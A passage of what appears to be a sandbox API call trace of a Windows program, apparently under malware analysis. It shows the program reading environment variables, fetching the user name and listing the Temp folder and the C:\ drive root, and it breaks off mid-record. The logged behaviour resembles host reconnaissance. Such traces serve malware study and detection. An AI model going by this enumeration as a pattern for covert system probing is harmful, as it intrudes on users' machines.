lpString1="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 1 [0042.266] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 2 [0042.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e707a5, cbMultiByte=37, lpWideCharStr=0x14ff494, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 37 [0042.266] SysReAllocStringLen (in: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", psz=0x0, len=0x24 | out: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 1 [0042.266] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x18f424, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 37 [0042.266] GetFullPathNameA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", nBufferLength=0x104, lpBuffer=0x18f660, lpFilePart=0x18f41c | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFilePart=0x18f41c*="Temp") returned 0x24 [0042.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x18f8ac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 37 [0042.267] FindFirstFileA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe8b92d80, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xe8b92d80, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14ff4e0, dwReserved1=0x14e0000, cFileName="Temp", cAlternateFileName="")) returned 0x14ff540 [0042.267] FileTimeToLocalFileTime (in: lpFileTime=0x18f400, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0042.267] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0042.271] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="OS=Windows_NT", cchCount1=2, lpString2="TZ", cchCount2=2) returned 1 [0042.271] GetTimeZoneInformation (in: lpTimeZoneInformation=0x72a50f68 | out: lpTimeZoneInformation=0x72a50f68) returned 0x2 [0042.274] FileTimeToLocalFileTime (in: lpFileTime=0x18f408, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0042.274] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0042.274] FileTimeToLocalFileTime (in: lpFileTime=0x18f410, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0042.274] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0042.274] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe8b92d80, ftLastAccessTime.dwHighDateTime=0x1d6080c, ftLastWriteTime.dwLowDateTime=0xe8b92d80, ftLastWriteTime.dwHighDateTime=0x1d6080c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14ff4e0, dwReserved1=0x14e0000, cFileName="Temp", cAlternateFileName="")) returned 0 [0042.275] GetLastError () returned 0x12 [0042.275] GetLastError () returned 0x12 [0042.275] SetLastError (dwErrCode=0x12) [0042.275] FindClose (in: hFindFile=0x14ff540 | out: hFindFile=0x14ff540) returned 1 [0042.275] GetLastError () returned 0x12 [0042.275] SetLastError (dwErrCode=0x12) [0042.277] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0042.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP", cchWideChar=5, lpMultiByteStr=0x18f94c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP", lpUsedDefaultChar=0x0) returned 5 [0042.277] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 1 [0042.277] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchCount1=4, lpString2="TEMP", cchCount2=4) returned 2 [0042.277] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e707a5, cbMultiByte=37, lpWideCharStr=0x14ffaa4, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 37 [0042.277] SysReAllocStringLen (in: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", psz=0x0, len=0x24 | out: pbstr=0x18f9dc*="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 1 [0042.278] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.279] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.279] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.279] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x0 [0042.279] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x1 [0042.279] VarBstrCmp (bstrLeft="C:\\Users\\5P5NRG~1\\AppData\\Local", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", cchWideChar=-1, lpMultiByteStr=0x18f35c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", lpUsedDefaultChar=0x0) returned 33 [0042.280] GetFullPathNameA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\", nBufferLength=0x104, lpBuffer=0x18f598, lpFilePart=0x18f354 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\", lpFilePart=0x18f354*=0x0) returned 0x20 [0042.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", cchWideChar=-1, lpMultiByteStr=0x18f7e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\", lpUsedDefaultChar=0x0) returned 33 [0042.280] FindFirstFileA (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\*.*", lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14ffaf0, dwReserved1=0x14e0000, cFileName=".", cAlternateFileName="")) returned 0x14ff540 [0042.280] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0042.280] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0042.280] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0042.280] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0042.280] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0042.281] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f6c0, cbMultiByte=-1, lpWideCharStr=0x14fcb24, cchWideChar=2 | out: lpWideCharStr=".") returned 2 [0042.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x18f804, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 37 [0042.281] CreateDirectoryA (lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp"), lpSecurityAttributes=0x0) returned 0 [0042.281] GetLastError () returned 0xb7 [0042.281] GetLastError () returned 0xb7 [0042.281] SetLastError (dwErrCode=0xb7) [0042.281] GetLastError () returned 0xb7 [0042.281] SetLastError (dwErrCode=0xb7) [0042.281] GetLastError () returned 0xb7 [0042.281] SetLastError (dwErrCode=0xb7) [0042.281] GetLastError () returned 0xb7 [0042.281] SetLastError (dwErrCode=0xb7) [0042.281] GetLastError () returned 0xb7 [0042.281] SetLastError (dwErrCode=0xb7) [0042.282] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0042.283] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14f978c, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0042.283] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18f7c0) [0042.286] RtlUnwind (TargetFrame=0x18f9c0, TargetIp=0x72a43caf, ExceptionRecord=0x0, ReturnValue=0x0) [0042.301] SysStringLen (param_1=" ") returned 0xff [0042.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=255, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 255 [0042.301] SysStringLen (param_1=" ") returned 0xff [0042.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=256, lpMultiByteStr=0x14ffd14, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 256 [0042.302] SetErrorMode (uMode=0x8001) returned 0x8001 [0042.302] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0042.302] SetErrorMode (uMode=0x8001) returned 0x8001 [0042.302] GetProcAddress (hModule=0x77710000, lpProcName="GetUserNameA") returned 0x7773a4b4 [0042.302] GetUserNameA (in: lpBuffer=0x14ffd14, pcbBuffer=0x18f9bc | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18f9bc) returned 1 [0042.308] GetLastError () returned 0x0 [0042.308] SysStringByteLen (bstr="瀵丵䝲湊樰⁓䅈偌捭穸 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††† ") returned 0xff [0042.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14ffd14, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0042.308] SysStringByteLen (bstr="瀵丵䝲湊樰⁓䅈偌捭穸 †††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††††† ") returned 0xff [0042.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14ffd14, cbMultiByte=256, lpWideCharStr=0x14ffafc, cchWideChar=511 | out: lpWideCharStr="5p5NrGJn0jS HALPmcxz") returned 256 [0042.308] CharLowerBuffW (in: lpsz="5p5NrGJn0jS HALPmcxz", cchLength=0x15 | out: lpsz="5p5nrgjn0js halpmcxz") returned 0x15 [0042.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0042.309] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0042.309] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0042.309] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0042.309] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e7077c, cbMultiByte=3, lpWideCharStr=0x150036c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0042.309] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0042.309] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0042.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x18f424, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData", lpUsedDefaultChar=0x0) returned 15 [0042.309] GetFullPathNameA (in: lpFileName="C:\\ProgramData", nBufferLength=0x104, lpBuffer=0x18f660, lpFilePart=0x18f41c | out: lpBuffer="C:\\ProgramData", lpFilePart=0x18f41c*="ProgramData") returned 0xe [0042.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x18f8ac, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData", lpUsedDefaultChar=0x0) returned 15 [0042.309] FindClose (in: hFindFile=0x14ff540 | out: hFindFile=0x14ff540) returned 1 [0042.309] FindFirstFileA (in: lpFileName="C:\\ProgramData", lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x14ff540 [0042.310] FileTimeToLocalFileTime (in: lpFileTime=0x18f400, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0042.310] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0042.310] FileTimeToLocalFileTime (in: lpFileTime=0x18f408, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0042.310] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0042.310] FileTimeToLocalFileTime (in: lpFileTime=0x18f410, lpLocalFileTime=0x18f3d0 | out: lpLocalFileTime=0x18f3d0) returned 1 [0042.310] FileTimeToSystemTime (in: lpFileTime=0x18f3d0, lpSystemTime=0x18f3d8 | out: lpSystemTime=0x18f3d8) returned 1 [0042.310] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f3fc | out: lpFindFileData=0x18f3fc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0042.310] GetLastError () returned 0x12 [0042.310] GetLastError () returned 0x12 [0042.310] SetLastError (dwErrCode=0x12) [0042.310] FindClose (in: hFindFile=0x14ff540 | out: hFindFile=0x14ff540) returned 1 [0042.311] GetLastError () returned 0x12 [0042.311] SetLastError (dwErrCode=0x12) [0042.311] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0042.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive", cchWideChar=12, lpMultiByteStr=0x18f924, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive", lpUsedDefaultChar=0x0) returned 12 [0042.311] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="LOGONSERVER=\\\\XDUWTFONO", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0042.311] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="ProgramData=C:\\ProgramData", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 1 [0042.311] CompareStringA (Locale=0x0, dwCmpFlags=0x1, lpString1="SystemDrive=C:", cchCount1=11, lpString2="SystemDrive", cchCount2=11) returned 2 [0042.311] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2e7077c, cbMultiByte=3, lpWideCharStr=0x150036c, cchWideChar=6 | out: lpWideCharStr="C:") returned 3 [0042.311] SysReAllocStringLen (in: pbstr=0x18f9b4*="C:", psz=0x0, len=0x2 | out: pbstr=0x18f9b4*="C:") returned 1 [0042.311] VarCat (in: pvarLeft=0x18fce0, pvarRight=0x18fc30, pvarResult=0x18fcd0 | out: pvarResult=0x18fcd0) returned 0x0 [0042.311] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.311] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x0 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x0 [0042.312] VarCmp (pvarLeft=0x18f990, pvarRight=0x18f950, lcid=0x0, dwFlags=0x30001) returned 0x1 [0042.313] VarBstrCmp (bstrLeft="C:", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x2 [0042.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\", cchWideChar=-1, lpMultiByteStr=0x18f35c, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\", lpUsedDefaultChar=0x0) returned 4 [0042.313] GetFullPathNameA (in: lpFileName="C:\\", nBufferLength=0x104, lpBuffer=0x18f598, lpFilePart=0x18f354 | out: lpBuffer="C:\\", lpFilePart=0x18f354*=0x0) returned 0x3 [0042.313] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\", cchWideChar=-1, lpMultiByteStr=0x18f7e4, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\", lpUsedDefaultChar=0x0) returned 4 [0042.313] FindFirstFileA (in: lpFileName="C:\\*.*", lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77cd7f35, dwReserved1=0x14ff540, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x14ff540 [0042.313] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0042.313] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0042.313] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0042.313] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0042.313] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f308 | out: lpLocalFileTime=0x18f308) returned 1 [0042.313] FileTimeToSystemTime (in: lpFileTime=0x18f308, lpSystemTime=0x18f310 | out: lpSystemTime=0x18f310) returned 1 [0042.313] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14ff540, dwReserved1=0x520024, cFileName="Boot", cAlternateFileName="")) returned 1 [0042.313] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x14ff540, dwReserved1=0x520024, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x14ff540, dwReserved1=0x520024, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f338, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f340, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f348, lpLocalFileTime=0x18f30c | out: lpLocalFileTime=0x18f30c) returned 1 [0042.314] FileTimeToSystemTime (in: lpFileTime=0x18f30c, lpSystemTime=0x18f314 | out: lpSystemTime=0x18f314) returned 1 [0042.315] FindNextFileA (in: hFindFile=0x14ff540, lpFindFileData=0x18f334 | out: lpFindFileData=0x18f334*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x14ff540, dwReserved1=0x520024, cFileName="Config.Msi", 